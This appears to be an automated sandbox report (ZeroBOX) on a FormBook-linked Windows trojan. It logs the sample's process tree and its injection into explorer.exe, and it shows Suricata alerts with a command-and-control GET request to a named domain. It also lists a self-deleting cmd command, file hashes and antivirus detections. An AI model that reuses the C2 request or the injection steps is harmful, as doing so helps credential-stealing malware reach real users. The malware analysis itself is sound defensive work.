Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 13, 2022, 11:04 a.m.	May 13, 2022, 11:23 a.m.

Size	298.6KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5	`6cc7f4dc6d60f6b01b7164532f4d4fe6`
SHA256	`42d8b7f214ab4c51c337d3abfaa9107f0e8fd78801311e205cd484e4b65fb440`
CRC32	`40DE7BE3`
ssdeep	`6144:LOtIO0wanUvZCAb2uN1i8IO1COKrL7hWOHWHvXqFFt5IgkyKqRgyJTg4pIyaN:LOLAUmM1iW1CRr8OFN5IWRBE`
Yara	IsPE32 - (no description) UPX_Zero - UPX packed file Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature

scrss.exe "C:\Users\test22\AppData\Local\Temp\scrss.exe"
2768
- gdryhu.exe C:\Users\test22\AppData\Local\Temp\gdryhu.exe C:\Users\test22\AppData\Local\Temp\ljjnophbc
  2840
  - gdryhu.exe C:\Users\test22\AppData\Local\Temp\gdryhu.exe C:\Users\test22\AppData\Local\Temp\ljjnophbc
    2932
    - explorer.exe "C:\Windows\SysWOW64\explorer.exe"
      3028
      - cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\gdryhu.exe"
        2072

Name	Response	Post-Analysis Lookup
www.shishlomarket24.biz
www.chabusinessloans.com	CNAME chabusinessloans.com A 34.102.136.180	34.102.136.180
www.ztzfirst.xyz

IP Address	Status	Action
164.124.101.2	Active	Moloch
34.102.136.180	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.101:62062 -> 164.124.101.2:53	2027863	ET INFO Observed DNS Query to .biz TLD	Potentially Bad Traffic
TCP 192.168.56.101:49169 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 13, 2022, 11:04 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://www.chabusinessloans.com/fw02/?wPT=GIW6OQpRbJqf9XIhbdAMVtwC/iS/kzwynfTcCtA8W5f0YX65zJLqmoY+4X1UuSvm+l6LpJkN&oZN=6lbLphf0F

Performs some HTTP requests (1 event)

request

GET http://www.chabusinessloans.com/fw02/?wPT=GIW6OQpRbJqf9XIhbdAMVtwC/iS/kzwynfTcCtA8W5f0YX65zJLqmoY+4X1UuSvm+l6LpJkN&oZN=6lbLphf0F

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory May 13, 2022, 11:04 a.m.	process_identifier: 2768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x739e2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 13, 2022, 11:04 a.m.	process_identifier: 2840 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00540000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 13, 2022, 11:04 a.m.	process_identifier: 2932 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00930000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 13, 2022, 11:04 a.m.	process_identifier: 3028 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\gdryhu.exe

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\gdryhu.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\gdryhu.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW May 13, 2022, 11:04 a.m.	thread_identifier: 2068 thread_handle: 0x000000f0 process_identifier: 2072 current_directory: filepath: C:\Windows\SysWOW64\cmd.exe track: 1 command_line: /c del "C:\Users\test22\AppData\Local\Temp\gdryhu.exe" filepath_r: C:\Windows\SysWOW64\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000140	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 13, 2022, 11:04 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW May 13, 2022, 11:04 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

/c del "C:\Users\test22\AppData\Local\Temp\gdryhu.exe"

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory May 13, 2022, 11:04 a.m.	process_identifier: 2932 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000bc	1	0	0

Deletes executed files from disk (1 event)

file	C:\Users\test22\AppData\Local\Temp\gdryhu.exe

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2840 called NtSetContextThread to modify thread in remote process 2932
NtSetContextThread May 13, 2022, 11:04 a.m.	registers.eip: 2003108292 registers.esp: 1506160 registers.edi: 0 registers.eax: 4321616 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000000b8 process_identifier: 2932	1	0	0

Created a process named as a common system process (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW May 13, 2022, 11:04 a.m.	thread_identifier: 3032 thread_handle: 0x000000a0 process_identifier: 3028 current_directory: filepath: C:\Windows\SysWOW64\explorer.exe track: 1 command_line: filepath_r: C:\Windows\SysWOW64\explorer.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x000000bc	1	1	0

Executed a process and injected code into it, probably while unpacking (7 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW May 13, 2022, 11:04 a.m.	thread_identifier: 2844 thread_handle: 0x000001f0 process_identifier: 2840 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\gdryhu.exe C:\Users\test22\AppData\Local\Temp\ljjnophbc filepath_r: stack_pivoted: 0 creation_flags: 67108864 (CREATE_DEFAULT_ERROR_MODE) inherit_handles: 0 process_handle: 0x000001f8	1	1
CreateProcessInternalW May 13, 2022, 11:04 a.m.	thread_identifier: 2936 thread_handle: 0x000000b8 process_identifier: 2932 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\gdryhu.exe track: 1 command_line: C:\Users\test22\AppData\Local\Temp\gdryhu.exe C:\Users\test22\AppData\Local\Temp\ljjnophbc filepath_r: C:\Users\test22\AppData\Local\Temp\gdryhu.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000000bc	1	1
NtGetContextThread May 13, 2022, 11:04 a.m.	thread_handle: 0x000000b8	1	0
NtAllocateVirtualMemory May 13, 2022, 11:04 a.m.	process_identifier: 2932 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000bc	1	0
NtSetContextThread May 13, 2022, 11:04 a.m.	registers.eip: 2003108292 registers.esp: 1506160 registers.edi: 0 registers.eax: 4321616 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000000b8 process_identifier: 2932	1	0
CreateProcessInternalW May 13, 2022, 11:04 a.m.	thread_identifier: 3032 thread_handle: 0x000000a0 process_identifier: 3028 current_directory: filepath: C:\Windows\SysWOW64\explorer.exe track: 1 command_line: filepath_r: C:\Windows\SysWOW64\explorer.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x000000bc	1	1
CreateProcessInternalW May 13, 2022, 11:04 a.m.	thread_identifier: 2068 thread_handle: 0x000000f0 process_identifier: 2072 current_directory: filepath: C:\Windows\SysWOW64\cmd.exe track: 1 command_line: /c del "C:\Users\test22\AppData\Local\Temp\gdryhu.exe" filepath_r: C:\Windows\SysWOW64\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000140	1	1

File has been identified by 36 AntiVirus engines on VirusTotal as malicious (36 events)

Bkav	W32.AIDetect.malware1
Lionic	Trojan.Multi.Generic.4!c
MicroWorld-eScan	Gen:Variant.Jaik.72878
ALYac	Gen:Variant.Jaik.72878
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
Cybereason	malicious.6eb6c4
Cyren	W32/Ninjector.BB.gen!Eldorado
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/Injector.ERPU
APEX	Malicious
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Gen:Variant.Jaik.72878
Avast	Win32:InjectorX-gen [Trj]
Ad-Aware	Gen:Variant.Jaik.72878
Emsisoft	Gen:Variant.Jaik.72878 (B)
McAfee-GW-Edition	BehavesLike.Win32.ICLoader.dc
FireEye	Generic.mg.6cc7f4dc6d60f6b0
Sophos	Mal/Generic-S
Ikarus	PUA.Downloader.Downloadstudio
GData	Gen:Variant.Jaik.72878
Jiangmin	Trojan.Fsysna.niy
Kingsoft	Win32.Troj.Generic_a.a.(kcloud)
Gridinsoft	Ransom.Win32.Sabsik.oa!s1
Arcabit	Trojan.Jaik.D11CAE
Microsoft	Trojan:Win32/Sabsik.FL.B!ml
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.NSISInject.R491618
McAfee	Artemis!6CC7F4DC6D60
MAX	malware (ai score=81)
Rising	Trojan.Injector!8.C4 (RDMK:cmRtazq5z05CMPs4nk2LG98WTmKL)
SentinelOne	Static AI - Malicious PE
Fortinet	W32/Injector.EROK!tr
BitDefenderTheta	Gen:NN.ZexaF.34666.iqW@aaPVb2f
AVG	Win32:InjectorX-gen [Trj]
CrowdStrike	win/malicious_confidence_90% (W)

scrss.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All